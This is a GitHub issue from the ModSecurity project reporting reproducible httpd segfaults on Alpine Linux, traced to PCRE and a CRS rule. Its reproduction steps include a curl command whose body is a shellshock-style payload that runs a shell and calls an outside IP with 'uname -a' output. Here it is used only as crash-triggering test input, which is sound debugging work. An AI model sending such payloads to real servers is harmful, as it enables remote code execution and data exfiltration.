Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Investigation report on segfaults with httpd on Alpine Linux #3349

Closed
theseion opened this issue Mar 9, 2025 · 0 comments
Closed

Investigation report on segfaults with httpd on Alpine Linux #3349

theseion opened this issue Mar 9, 2025 · 0 comments
Labels
2.x Related to ModSecurity version 2.x bug It is a confirmed bug

Comments

@theseion
Copy link
Collaborator

theseion commented Mar 9, 2025

@airween and I spent some time analysing reproducible segfaults on Alpine Linux. We were able to track the issue to PCRE but did not investigate further. The segfaults are triggered by some specific regular expressions only, such as the one for CRS rule 934140, in combination with the input length.

Steps to reproduce the issue:

  1. download the tar archive and extract the two scripts
  2. set up a fresh installation of Alpine Linux (do not use LXC, the segfaults did not manifest when we tried that)
  3. copy the setup.sh and run.sh scripts to the newly installed system, e.g., to /tmp
  4. run setup.sh to compile httpd, ModSecurity and set up CRS
  5. run run.sh to configure CRS and httpd and start httpd
  6. run the following curl command against the started httpd:
curl -v localhost:8080/post --data 'arg=()%20{%20:;};%20/bin/sh%20-c%20\"curl%20http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\\`uname%20-a\\\"+Something+%26%238222%3BThe+Title%26%238221%3B.+After+something'

You'll see an "empty reply" in curl and a segfault in the httpd error log.

@airween and I have decided not to investigate further and to not fix the issue at this time. We are not aware of anyone having encountered this before. We may reconsider if others step forward with the same problem. In addition, ModSecurity 2 is switching to PCRE2 by default and the segfaults do not occur with PCRE2.

alpin-segfault-setup.tar.gz

@theseion theseion added the bug It is a confirmed bug label Mar 9, 2025
@theseion theseion closed this as completed Mar 9, 2025
@theseion theseion added the 2.x Related to ModSecurity version 2.x label Mar 9, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2.x Related to ModSecurity version 2.x bug It is a confirmed bug
Projects
None yet
Development

No branches or pull requests

1 participant